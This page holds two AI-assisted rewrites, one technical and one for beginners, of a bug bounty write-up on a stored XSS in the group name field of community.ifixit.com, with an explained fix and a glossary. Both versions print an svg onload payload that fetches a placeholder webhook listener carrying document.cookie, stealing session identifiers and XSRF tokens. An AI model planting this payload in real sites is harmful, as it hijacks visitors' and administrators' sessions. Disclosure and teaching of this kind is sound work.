Skip to content
XSS Write-up Beginner

The Art of Persistence: Scaling Recon to a High-Severity Stored XSS on iFixit Community

Ziad Abdo Follow

Published on medium.com

Bug Bounty

Ziad Abdo, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

iFixit runs a main application that, in the author's words, behaved like a fortified fortress: inputs were encoded with precision, WAF rules were tight, and standard XSS vectors died before reaching the DOM. The interesting surface turned out to be a separate subdomain, community.ifixit.com, discovered during subdomain enumeration. Its UI looked wildly out of place next to the main domain, and the author describes it as looking like a forgotten build that no security engineer had reviewed in years.

The feature that mattered was the Group Creation module. Groups have a name, and that name is not only stored but displayed publicly to anyone browsing the group directory and opening a group's profile page. That combination, persistent user-controlled text rendered to other users, is exactly where stored XSS lives.

From the original on medium.com

Setup

The work was done with Burp Suite as the intercepting proxy. The author registered an account on community.ifixit.com and then mapped the features that persist user data. No specific roles, versions or configuration details beyond that are given. The precondition for the attack is simply an authenticated account able to create a group, plus a listener the author controls to receive out-of-band callbacks.

Finding it

After hours of cycling through parameters and fuzzing endpoints on the main application, every payload was being chewed up by sanitisation filters. The turning point was going back to raw subdomain discovery, pulling passive datasets and certificate logs. That surfaced community.ifixit.com among the modern endpoints.

Loading the subdomain was enough to justify testing: the vintage, out-of-place look suggested an application that had not received the same hardening as the main site. The author registered an account and looked for features that persist user data, and the Group Creation module stood out because the dynamic text is stored and then displayed publicly in the directory.

Exploitation

Step 1: choose a silent payload

Rather than a noisy alert(1) that a basic filter might block or a user might notice, the author went for an out-of-band payload that exfiltrates the cookie to a listener:

HTML
<svg onload="fetch(’https://<MY_WEBHOOK_LISTENER>/?c=’+document.cookie)">

The <svg> element carries an onload handler. When the browser parses the tag, the handler fires and fetch sends the value of document.cookie as the c query parameter to the author's webhook listener. The placeholder <MY_WEBHOOK_LISTENER> stands for the listener host.

Step 2: store it in the Group Name field

The payload was pasted into the Group Name field and saved. In Burp Suite the request came back 200 OK. The backend neither stripped the <svg> tag nor HTML-entity encoded the event handler: it accepted the raw payload and wrote it directly into the persistent database.

Step 3: trigger it by viewing the group

The author navigated back to the group directory and opened the newly created group's page. On page load an alert box appeared showing the active document.cookie values. The application was fetching the stored group name from the database and echoing it raw into the DOM context, so the browser parsed the payload and executed the script natively within the community.ifixit.com origin. No extra interaction was required: any user or administrator viewing that public group profile would trigger it.

Step 4: confirm the out-of-band callback

A GET request arrived at the listener carrying the full document.cookie string, including the XSRF-TOKEN and session identifiers. The victim's browser rendered the unescaped <svg> tag, ran the onload handler in the community.ifixit.com origin, and silently dispatched the session metadata to the author's server, again with zero user interaction.

Root cause

The Group Name value is stored without sanitisation and later rendered into the page without output encoding. The backend accepted the raw <svg> tag and the onload attribute, and the rendering path echoed the stored value straight into the DOM, so the browser treated it as markup and executed the handler. The input encoding and tight WAF rules described on the main application did not stop this payload on the subdomain.

Impact

This is a stored XSS in the community.ifixit.com origin. Any user or administrator who views the public group profile triggers the payload automatically, with no interaction beyond opening the page. The script runs with the victim's session in that origin and can read document.cookie, which in the observed callback included the XSRF-TOKEN and session identifiers. The callback exposed the XSRF-TOKEN and session identifiers, which could allow an attacker to act as the victim. The report describes the finding as High severity. The report does not state which cookie flags were set, so whether the session cookie was reachable from JavaScript in every configuration is not established here.

Fix

The report does not describe a remediation. A fix would be to HTML-entity encode the stored group name on output so it renders as text rather than markup. Context-aware output encoding at the point of rendering is the control that directly addresses the flaw.

Variants to test

A positive result is a 200 OK on save followed by execution when the listing or detail page loads. A positive result is a host whose UI or behaviour differs from the hardened main application and which reflects stored input unencoded. A positive result is an inbound GET request containing the cookie string, which confirms execution even when no visible alert appears. A positive result is execution or a callback from the alternate rendering path.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A security researcher was testing iFixit, a website that publishes repair guides, looking for a class of bug called cross-site scripting, or XSS. On the main iFixit site, every attempt was blocked: the site cleaned up whatever was typed into it, and a firewall in front of it rejected the usual tricks. The researcher almost gave up.

Then they looked at a different corner of the company's infrastructure: a separate subdomain called community.ifixit.com. It looked old and neglected compared with the main site. On that forum there is a feature for creating groups, and a group has a name. That name is saved and then shown to anyone who browses the group directory. The researcher put a small piece of code into the group name, saved it, opened the group page, and the code ran in the browser. Because the code ran for anyone who opened that page and could read the visitor's cookies, the report describes it as High severity.

This article walks through the same story step by step, explaining every term along the way. You only need to know how to use a browser.

From the original on medium.com

The background: what iFixit is and what was being tested

iFixit is a website where people share instructions for repairing things. Besides the main site, the company runs a community area at its own address, community.ifixit.com.

A subdomain is simply a website address that sits under a company's main address. If ifixit.com is the main building, community.ifixit.com is an annex next door. Companies often run many of these annexes, and they are not always built or maintained by the same team, or protected in the same way.

In the author's words, the main application behaved like a fortified fortress. Inputs were encoded with precision, WAF rules were tight, and standard XSS vectors died before reaching the DOM. Let us unpack that sentence, because it is the whole reason the story goes where it goes.

  • Input is anything a visitor types or sends to a website: a search term, a comment, a form field.
  • Encoding (or escaping) means converting dangerous characters into harmless text before they are shown. If you type <b> and the site encodes it, the page shows the literal characters <b> instead of making the text bold. That is how a site can display what you typed without letting it act like code.
  • A WAF, or web application firewall, is a filter that sits in front of a website and inspects incoming traffic, blocking requests that look like known attacks. Think of it as a security guard at the door who checks everyone's bag.
  • XSS vectors are the techniques attackers use to get code into a page. A vector is just a route in.
  • The DOM (Document Object Model) is the browser's internal, live model of the page: every heading, button and paragraph as an object the browser can read and change. When people say a payload reached the DOM, they mean the browser actually built it into the page rather than showing it as plain text.

So on the main site, the guard checked the bags and the site turned dangerous characters into harmless text. Nothing got through.

Finding the side door

After hours of cycling through parameters and fuzzing endpoints on the main application, every payload was being chewed up by sanitisation filters. Two more terms:

  • A parameter is a named value sent with a request, such as the text of a search box or the name of a new group. Fuzzing means sending lots of different values to see how the site reacts.
  • An endpoint is a specific address on a server that accepts requests, for example the one that handles creating a group.
  • Sanitisation is the cleaning of user input: removing or neutralising anything that could be interpreted as code.

The turning point was going back to raw subdomain discovery, pulling passive datasets and certificate logs. That surfaced community.ifixit.com among the modern endpoints.

Subdomain discovery means finding the annexes: the other addresses a company runs that are not linked from the main page. Two sources were used:

  • Passive datasets are collections of domain names gathered over time by third parties, for example from old DNS records or web crawls. DNS is the internet's address book, translating names like ifixit.com into the numeric addresses of servers.
  • Certificate logs are public records of the security certificates websites obtain to enable encrypted HTTPS connections. Every certificate issued is logged, so the logs reveal hostnames a company may never have advertised.

Loading the subdomain was enough to justify testing. The author describes the interface as looking wildly out of place next to the main domain, like a forgotten build that no security engineer had reviewed in years. That vintage look was the signal: an old-looking annex is a good bet for weaker protection than the main site.

Setting up

The work was done with Burp Suite as the intercepting proxy. A proxy is a program that sits between your browser and a website and lets you see and edit every request and response. Burp Suite is a popular tool for this. Think of it as a transparent mailroom: every letter to and from the site passes through your hands, and you can read it or rewrite it before it is delivered.

The author registered an account on community.ifixit.com and then mapped the features that persist user data. Persisting means the site saves the data and keeps it, rather than using it once and forgetting it. Comments, profiles and group names all persist.

The precondition for the attack is simply an authenticated account able to create a group, plus a listener the author controls to receive out-of-band callbacks. Authenticated means logged in. A listener is a small server the researcher runs that records any request sent to it. Out-of-band means the confirmation arrives by a different route than the attack itself: instead of watching the page, the researcher watches their own server for a message from the victim's browser.

The feature that mattered

The Group Creation module lets a member create a group with a name. That name is not only stored: it is displayed publicly to anyone browsing the group directory and opening a group's profile page. Persistent user-controlled text rendered to other users is exactly where stored XSS lives.

Stored XSS means the malicious code is saved on the server and served to every visitor who views the affected page, rather than being delivered only to one person through a crafted link. It is the difference between writing graffiti on a wall everyone walks past and handing one person a note.

Exploitation

Step 1: choose a silent payload

Rather than a noisy alert(1) that a basic filter might block or a user might notice, the author went for an out-of-band payload that exfiltrates the cookie to a listener:

HTML
<svg onload="fetch(’https://<MY_WEBHOOK_LISTENER>/?c=’+document.cookie)">

Line by line:

  • <svg ...> opens an SVG element. SVG is a format for drawing graphics on a web page, and browsers treat it as real markup, not text.
  • onload="..." is an event handler: an instruction the browser runs automatically when the element has finished loading. It is the trigger.
  • fetch(...) is a browser function that sends a request to a web address.
  • https://<MY_WEBHOOK_LISTENER>/?c= is the address the request goes to. The placeholder <MY_WEBHOOK_LISTENER> stands for the listener host the researcher controls, and ?c= starts a parameter named c that will carry data.
  • +document.cookie appends the visitor's cookies to that address. document.cookie is how JavaScript reads the cookies belonging to the current page.

A cookie is a small piece of data a website asks the browser to store and send back with every request to that site. It is how a site remembers that you are logged in: your browser presents the cookie like a membership card, and the server lets you in. If someone else obtains your cookie, they can often present it themselves and be treated as you. That is called session hijacking.

Why this payload and not alert(1)? alert(1) pops a visible box. It proves code ran, but it is loud: a filter may recognise it, and a real visitor would see it and report it. The fetch version is silent. It sends the cookie to the researcher's own server, so the researcher learns both that the code ran and what the cookie contained, without the victim noticing anything.

Step 2: store it in the Group Name field

The payload was pasted into the Group Name field and saved. In Burp Suite the request came back 200 OK. The backend neither stripped the <svg> tag nor HTML-entity encoded the event handler: it accepted the raw payload and wrote it directly into the persistent database.

A few explanations:

  • The backend is the server-side software that receives requests, does the work and stores data. The frontend is what you see in the browser.
  • 200 OK is the standard HTTP status code meaning the request succeeded. HTTP is the protocol browsers and servers use to talk.
  • Stripping means removing a piece of input entirely. HTML-entity encoding means replacing characters like < and > with harmless codes so they display as text instead of acting as markup.
  • A database is where the site keeps its data permanently, so the group name survives after you close the browser.

This step matters because it shows the saving side of the site did no cleaning. The payload went in exactly as typed and was stored.

Step 3: trigger it by viewing the group

The author navigated back to the group directory and opened the newly created group's page. On page load an alert box appeared showing the active document.cookie values. The application was fetching the stored group name from the database and echoing it raw into the DOM context, so the browser parsed the payload and executed the script natively within the community.ifixit.com origin. No extra interaction was required: any user or administrator viewing that public group profile would trigger it.

What this means:

  • Echoing raw means the site took the saved name and placed it into the page exactly as stored, with no encoding. The browser therefore saw a real <svg> tag and ran its handler.
  • The origin is the combination of protocol, host and port that defines a security boundary in the browser, here community.ifixit.com. Code running in that origin can read that origin's cookies and act as the logged-in user on that site. Browsers deliberately keep origins apart so one site cannot read another's data.
  • Natively means the browser itself executed the code as part of the page, not some separate tool.

The alert box was the visible proof. The researcher saw their own cookies displayed, which meant the code had run in the page's own context.

Step 4: confirm the out-of-band callback

A GET request arrived at the listener carrying the full document.cookie string, including the XSRF-TOKEN and session identifiers. The victim's browser rendered the unescaped <svg> tag, ran the onload handler in the community.ifixit.com origin, and silently dispatched the session metadata to the author's server, again with zero user interaction.

  • A GET request is the simplest kind of HTTP request, used to fetch something from an address. Here it was the browser fetching the listener's address with the cookie attached as a parameter.
  • An XSRF-TOKEN (also written CSRF token) is a random value a site puts in a cookie or page so it can tell a genuine action by the user apart from one forged by another site. It is a defence against cross-site request forgery, where a malicious page tricks your browser into submitting a request to another site while you are logged in.
  • Session identifiers are the values that identify your logged-in session, the core of your membership card.
  • Session metadata here means the data describing the session, that is, the cookie contents.

The callback is the strongest evidence. Even if no alert had appeared, the researcher's own server receiving a request with the cookie in it proves the code ran in a real browser and that the data left the site.

Why it worked

The Group Name value is stored without sanitisation and later rendered into the page without output encoding. The backend accepted the raw <svg> tag and the onload attribute, and the rendering path echoed the stored value straight into the DOM, so the browser treated it as markup and executed the handler. The input encoding and tight WAF rules described on the main application did not stop this payload on the subdomain.

In everyday terms: the main building had a guard and a shredder for suspicious mail. The annex had neither, and it also had a noticeboard where anyone could pin a message that every visitor would read and act on.

What the impact is

This is a stored XSS in the community.ifixit.com origin. Any user or administrator who views the public group profile triggers the payload automatically, with no interaction beyond opening the page. The script runs with the victim's session in that origin and can read document.cookie, which in the observed callback included the XSRF-TOKEN and session identifiers. The callback exposed the XSRF-TOKEN and session identifiers, which could allow an attacker to act as the victim. The author classifies the finding as High severity.

Why administrators matter: if an administrator opens the page, the stolen cookie may belong to an administrator account, and the attacker can then do whatever that administrator can do. The report does not state which cookie flags were set, so whether the session cookie was reachable from JavaScript in every configuration is not established here. Cookie flags are settings such as HttpOnly, which tells the browser to hide a cookie from JavaScript; had it been set on the session cookie, document.cookie would not have shown it.

How to fix it

The report does not describe a remediation. A fix would be to HTML-entity encode the stored group name on output so it renders as text rather than markup. Context-aware output encoding at the point of rendering is the control that directly addresses the flaw.

In plain words: when the site prints the group name onto a page, it should convert < and > into harmless text codes so the browser shows the name instead of running it. Encoding at the moment of display is the key control, because the same stored value can appear in several places and each needs its own correct treatment.

Variants to test

A positive result is a 200 OK on save followed by execution when the listing or detail page loads. A positive result is a host whose UI or behaviour differs from the hardened main application and which reflects stored input unencoded. A positive result is an inbound GET request containing the cookie string, which confirms execution even when no visible alert appears. A positive result is execution or a callback from the alternate rendering path.

Glossary

  • API: a defined way for one piece of software to ask another for data or actions, like a service counter with set procedures.
  • Authenticated: logged in, with the site knowing which account is making the request.
  • Backend: the server-side software that receives requests, processes them and stores data.
  • Burp Suite: a tool that sits between browser and website so you can inspect and edit requests and responses.
  • Cookie: a small value a site asks the browser to store and send back with each request, commonly used to remember a login.
  • Cross-site request forgery (CSRF): tricking a logged-in user's browser into sending an unwanted request to another site.
  • Database: where a site keeps data permanently.
  • DNS: the internet's address book, mapping names to server addresses.
  • DOM (Document Object Model): the browser's live model of the page, which scripts can read and change.
  • Echoing raw: placing stored input into a page exactly as saved, without encoding.
  • Encoding (escaping): converting characters that could act as code into harmless text.
  • Endpoint: a specific address on a server that accepts requests.
  • Event handler: an instruction attached to an element that the browser runs when something happens, such as loading.
  • Exfiltration: secretly sending data out of a system to a place the attacker controls.
  • Fetch: a browser function that sends a request to a web address.
  • GET request: an HTTP request used to fetch something from an address.
  • HTML-entity encoding: replacing characters like < and > with codes so they display as text.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • HttpOnly: a cookie flag that hides a cookie from JavaScript.
  • Input: anything a visitor types or sends to a website.
  • Intercepting proxy: a tool that sits between browser and site and lets you see and change traffic.
  • Listener: a server you control that records requests sent to it.
  • Origin: the protocol, host and port combination that forms a browser security boundary.
  • Out-of-band: confirmation that arrives by a different route than the attack itself, such as a callback to your own server.
  • Parameter: a named value sent with a request.
  • Passive dataset: a collection of domain names gathered over time by third parties.
  • Payload: the piece of code or data an attacker sends to exploit a flaw.
  • Persist: to be saved and kept by the site rather than used once.
  • Proxy: a program that relays traffic between two parties and can inspect it.
  • Sanitisation: cleaning user input so it cannot be interpreted as code.
  • Session: the period during which a site recognises you as logged in, identified by a session identifier.
  • Session hijacking: using someone else's session identifier to act as them.
  • Session identifier: the value that identifies your logged-in session.
  • Stored XSS: cross-site scripting where the malicious code is saved on the server and served to every visitor of the affected page.
  • Stripping: removing part of an input entirely.
  • Subdomain: a website address under a company's main address, such as community.ifixit.com.
  • SVG: a format for drawing graphics on a web page, treated by browsers as real markup.
  • WAF (web application firewall): a filter in front of a website that blocks requests resembling known attacks.
  • XSS (cross-site scripting): getting code into a page so that a visitor's browser runs it.
  • XSS vector: a technique or route used to get code into a page.
  • XSRF-TOKEN (CSRF token): a random value used to tell genuine user actions apart from forged ones.
  • 200 OK: the HTTP status code meaning a request succeeded.

More by Ziad Abdo

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.